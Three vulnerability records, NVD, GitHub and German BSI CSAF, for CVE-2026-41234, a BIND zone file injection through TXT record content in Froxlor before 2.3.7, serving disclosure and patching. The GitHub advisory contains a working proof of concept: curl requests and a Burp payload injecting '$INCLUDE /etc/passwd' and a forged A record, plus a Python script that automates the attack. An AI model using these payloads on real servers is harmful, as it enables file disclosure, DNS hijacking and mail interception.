{
  "affected": [
    {
      "affectedData": [
        {
          "product": "froxlor",
          "vendor": "froxlor",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.3.7"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Froxlor is open source server administration software. Prior to version 2.3.7, the `DomainZones.add` API endpoint does not sanitize newline characters in TXT record content. An authenticated customer with DNS editing enabled can inject newlines into TXT record values, which break out of the record line in the generated BIND zone file. This enables injection of arbitrary BIND directives (`$INCLUDE`, `$GENERATE`) and arbitrary DNS records (A, MX, CNAME) into the zone file written to disk by the DNS rebuild cron. This is an incomplete fix for CVE-2026-30932 (GHSA-x6w6-2xwp-3jh6), which patched the same newline injection for LOC, RP, SSHFP, and TLSA record types but did not patch TXT records. Version 2.3.7 contains an updated patch."
    },
    {
      "lang": "es",
      "value": "Froxlor es un software de administraci\u00f3n de servidores de c\u00f3digo abierto. Antes de la versi\u00f3n 2.3.7, el endpoint de la API \u0027DomainZones.add\u0027 no sanitiza los caracteres de nueva l\u00ednea en el contenido de los registros TXT. Un cliente autenticado con la edici\u00f3n de DNS habilitada puede inyectar nuevas l\u00edneas en los valores de los registros TXT, lo que rompe la l\u00ednea del registro en el archivo de zona BIND generado. Esto permite la inyecci\u00f3n de directivas BIND arbitrarias (\u0027$INCLUDE\u0027, \u0027$GENERATE\u0027) y registros DNS arbitrarios (A, MX, CNAME) en el archivo de zona escrito en disco por el cron de reconstrucci\u00f3n de DNS. Esta es una soluci\u00f3n incompleta para CVE-2026-30932 (GHSA-x6w6-2xwp-3jh6), que parche\u00f3 la misma inyecci\u00f3n de nueva l\u00ednea para los tipos de registro LOC, RP, SSHFP y TLSA, pero no parche\u00f3 los registros TXT. La versi\u00f3n 2.3.7 contiene un parche actualizado."
    }
  ],
  "id": "CVE-2026-41234",
  "lastModified": "2026-07-22T20:10:00.127",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 7.6,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-41234",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-04T19:01:40.718086Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-04T19:16:28.963",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/advisories/GHSA-x6w6-2xwp-3jh6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-37m5-m4q3-fc6x"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-37m5-m4q3-fc6x"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-74"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41234"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-03T21:02:12Z",
    "nvd_published_at": "2026-06-04T19:16:28Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `DomainZones.add` API endpoint does not sanitize newline characters in TXT record content. An authenticated customer with DNS editing enabled can inject newlines into TXT record values, which break out of the record line in the generated BIND zone file. This enables injection of arbitrary BIND directives (`$INCLUDE`, `$GENERATE`) and arbitrary DNS records (A, MX, CNAME) into the zone file written to disk by the DNS rebuild cron.\n\nThis is an incomplete fix for CVE-2026-30932 (GHSA-x6w6-2xwp-3jh6), which patched the same newline injection for LOC, RP, SSHFP, and TLSA record types but did not patch TXT records.\n\n## Affected Code\n\n`lib/Froxlor/Api/Commands/DomainZones.php`, lines 306-308:\n\n```php\n} elseif ($type == \u0027TXT\u0027 \u0026\u0026 !empty($content)) {\n    // check that TXT content is enclosed in \" \"\n    $content = Dns::encloseTXTContent($content);\n}\n```\n\n`Dns::encloseTXTContent()` (`lib/Froxlor/Dns/Dns.php:571-592`) only adds or removes surrounding quote characters. It does not strip newlines, carriage returns, or any BIND zone metacharacters.\n\nLine 148 of `DomainZones.php` still contains:\n```php\n// TODO regex validate content for invalid characters\n```\n\nThe content flows to the zone file via `DnsEntry::__toString()` (`lib/Froxlor/Dns/DnsEntry.php:83`), which concatenates `$this-\u003econtent` directly into the zone line followed by `PHP_EOL`. Embedded newlines in the content produce additional lines in the zone file output.\n\n### Comparison with CVE-2026-30932 fix\n\nThe v2.3.5 fix for CVE-2026-30932 added validation functions for these types:\n\n| Type | Validation Added | Still Vulnerable? |\n|------|-----------------|-------------------|\n| LOC | `Validate::validateDnsLoc()` (strict regex) | No |\n| RP | `Validate::validateDnsRp()` (domain validation) | No |\n| SSHFP | `Validate::validateDnsSshfp()` (3-part split) | No |\n| TLSA | `Validate::validateDnsTlsa()` (4-part split) | No |\n| **TXT** | **`Dns::encloseTXTContent()` (quotes only)** | **Yes** |\n\n## PoC\n\n### Environment\n\n- Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)\n- DNS enabled (`system.bind_enable=1`, `system.dnsenabled=1`)\n- Customer with `dnsenabled=1`, domain with `isbinddomain=1`\n- Customer has an API key (or uses the web UI DNS editor with Burp)\n\n### Reproduction via API\n\n```bash\n# Inject $INCLUDE directive to read /etc/passwd\ncurl -s -u \"API_KEY:API_SECRET\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"command\": \"DomainZones.add\",\n    \"params\": {\n      \"domainname\": \"testdomain.lab\",\n      \"type\": \"TXT\",\n      \"record\": \"@\",\n      \"content\": \"v=spf1 +all\\\"\\n$INCLUDE /etc/passwd\",\n      \"ttl\": 18000\n    }\n  }\u0027 \\\n  https://panel.example.com/api.php\n```\n\n### Reproduction via Web UI (Burp)\n\n1. Log in as a customer with DNS editing enabled\n2. Navigate to Resources \u003e Domains \u003e (domain) \u003e DNS Editor\n3. Add a new record: Type = TXT, Record = @, Content = any\n4. Intercept the POST request in Burp Suite\n5. Change the `dns_content` parameter to: `v=spf1 +all\"%0a$INCLUDE /etc/passwd`\n   (`%0a` is URL-encoded newline)\n6. Forward the request\n\n### Result\n\nThe API returns the generated zone content. The TXT record line is split at the newline, and `$INCLUDE /etc/passwd` appears on its own line as a BIND directive:\n\n```\n$TTL 604800\n$ORIGIN testdomain.lab.\n@   604800  IN  SOA  froxlor.lab admin.froxlor.lab. 2026041004 ...\n@   18000   IN  TXT  \"v=spf1 +all\"\n$INCLUDE /etc/passwd\"\n@   604800  IN  A    100.95.188.127\n*   604800  IN  A    100.95.188.127\n```\n\nWhen the DNS rebuild cron runs, BIND processes the `$INCLUDE` directive and attempts to read `/etc/passwd`.\n\n### Variant: Arbitrary DNS record injection\n\nThe same technique injects arbitrary A/MX/CNAME records:\n\n```bash\ncurl -s -u \"API_KEY:API_SECRET\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"command\": \"DomainZones.add\",\n    \"params\": {\n      \"domainname\": \"testdomain.lab\",\n      \"type\": \"TXT\",\n      \"record\": \"_spf\",\n      \"content\": \"v=spf1 +all\\\"\\nevil\\t18000\\tIN\\tA\\t6.6.6.6\",\n      \"ttl\": 18000\n    }\n  }\u0027 \\\n  https://panel.example.com/api.php\n```\n\nResult:\n\n```\n_spf   18000  IN  TXT  \"v=spf1 +all\"\nevil   18000  IN  A    6.6.6.6\n```\n\n`evil.testdomain.lab` now resolves to attacker IP `6.6.6.6`.\n\n### Automated PoC Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Froxlor \u003c= 2.3.5 TXT Zone Injection \u2014 Incomplete CVE-2026-30932 Fix\"\"\"\nimport json, sys, requests, urllib3\nurllib3.disable_warnings()\n\ndef api(target, key, secret, cmd, params=None):\n    return requests.post(f\"{target.rstrip(\u0027/\u0027)}/api.php\",\n        auth=(key, secret), json={\"command\": cmd, \"params\": params or {}},\n        verify=False).json()\n\ntarget, key, secret, domain = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]\n\n# Inject $INCLUDE\nr = api(target, key, secret, \"DomainZones.add\", {\n    \"domainname\": domain, \"type\": \"TXT\", \"record\": \"@\",\n    \"content\": \u0027v=spf1 +all\"\\n$INCLUDE /etc/passwd\u0027, \"ttl\": 18000})\n\nfor line in r.get(\"data\", []):\n    tag = \"   \u003c-- INJECTED\" if \"$INCLUDE\" in str(line) else \"\"\n    if line: print(f\"  {line}{tag}\")\n\nprint(\"\\nCONFIRMED\" if any(\"$INCLUDE\" in str(l) for l in r.get(\"data\",[])) else \"FAILED\")\n```\n\nUsage: `python3 poc.py https://panel.example.com API_KEY API_SECRET domain.tld`\n\n## Impact\n\n1. **Information Disclosure**: `$INCLUDE` directs BIND to read arbitrary world-readable files on the server. The included content is parsed as zone data and can be retrieved by the customer via `DomainZones.listing` or DNS queries to records created from parsed file lines.\n\n2. **DNS Record Injection**: Newline breakout allows injection of A, MX, CNAME, and other records into the zone file. A customer can point subdomains to attacker-controlled IPs, intercept email via MX injection, or perform subdomain takeover via CNAME injection.\n\n3. **DNS Service Disruption**: Malformed zone content causes BIND to reject the zone, creating a DNS outage for the affected domain. `$GENERATE` directives can create massive record sets for amplification.\n\n## Suggested Fix\n\nStrip newlines and BIND metacharacters from TXT content. Minimal fix:\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php, around line 306\n} elseif ($type == \u0027TXT\u0027 \u0026\u0026 !empty($content)) {\n    // Strip characters that can break zone file format\n    $content = str_replace([\"\\n\", \"\\r\", \"\\t\"], \u0027\u0027, $content);\n    $content = Dns::encloseTXTContent($content);\n}\n```\n\nA more comprehensive fix would add a validation function (similar to `validateDnsLoc`, `validateDnsSshfp`, etc.) that rejects any content containing zone metacharacters (`$`, newlines), and remove the TODO at line 148.",
  "id": "GHSA-37m5-m4q3-fc6x",
  "modified": "2026-06-09T11:54:17Z",
  "published": "2026-06-03T21:02:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-37m5-m4q3-fc6x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41234"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-x6w6-2xwp-3jh6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor: BIND Zone File Injection via TXT Record Content"
}

{
  "document": {
    "aggregate_severity": {
      "text": "mittel"
    },
    "category": "csaf_base",
    "csaf_version": "2.0",
    "distribution": {
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "de-DE",
    "notes": [
      {
        "category": "legal_disclaimer",
        "text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
      },
      {
        "category": "description",
        "text": "Froxlor ist eine Web-basierte Server-Management-Software.",
        "title": "Produktbeschreibung"
      },
      {
        "category": "summary",
        "text": "Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in Froxlor ausnutzen, um Daten zu manipulieren, Informationen offenzulegen oder einen Denial of Servcie zu verursachen.",
        "title": "Angriff"
      },
      {
        "category": "general",
        "text": "- Linux\n- UNIX",
        "title": "Betroffene Betriebssysteme"
      }
    ],
    "publisher": {
      "category": "other",
      "contact_details": "csaf-provider@cert-bund.de",
      "name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
      "namespace": "https://www.bsi.bund.de"
    },
    "references": [
      {
        "category": "self",
        "summary": "WID-SEC-W-2026-1782 - CSAF Version",
        "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-1782.json"
      },
      {
        "category": "self",
        "summary": "WID-SEC-2026-1782 - Portal Version",
        "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1782"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-37m5-m4q3-fc6x vom 2026-06-02",
        "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-37m5-m4q3-fc6x"
      }
    ],
    "source_lang": "en-US",
    "title": "Froxlor: Schwachstelle erm\u00f6glicht Manipulation, Offenlegung und DoS",
    "tracking": {
      "current_release_date": "2026-06-04T22:00:00.000+00:00",
      "generator": {
        "date": "2026-06-05T07:32:25.295+00:00",
        "engine": {
          "name": "BSI-WID",
          "version": "1.6.0"
        }
      },
      "id": "WID-SEC-W-2026-1782",
      "initial_release_date": "2026-06-02T22:00:00.000+00:00",
      "revision_history": [
        {
          "date": "2026-06-02T22:00:00.000+00:00",
          "number": "1",
          "summary": "Initiale Fassung"
        },
        {
          "date": "2026-06-04T22:00:00.000+00:00",
          "number": "2",
          "summary": "Referenz(en) aufgenommen: EUVD-2026-34313"
        }
      ],
      "status": "final",
      "version": "2"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "\u003c2.3.7",
                "product": {
                  "name": "Open Source Froxlor \u003c2.3.7",
                  "product_id": "T054886"
                }
              },
              {
                "category": "product_version",
                "name": "2.3.7",
                "product": {
                  "name": "Open Source Froxlor 2.3.7",
                  "product_id": "T054886-fixed",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:froxlor:froxlor:2.3.7"
                  }
                }
              }
            ],
            "category": "product_name",
            "name": "Froxlor"
          }
        ],
        "category": "vendor",
        "name": "Open Source"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-41234",
      "product_status": {
        "known_affected": [
          "T054886"
        ]
      },
      "release_date": "2026-06-02T22:00:00.000+00:00",
      "title": "CVE-2026-41234"
    }
  ]
}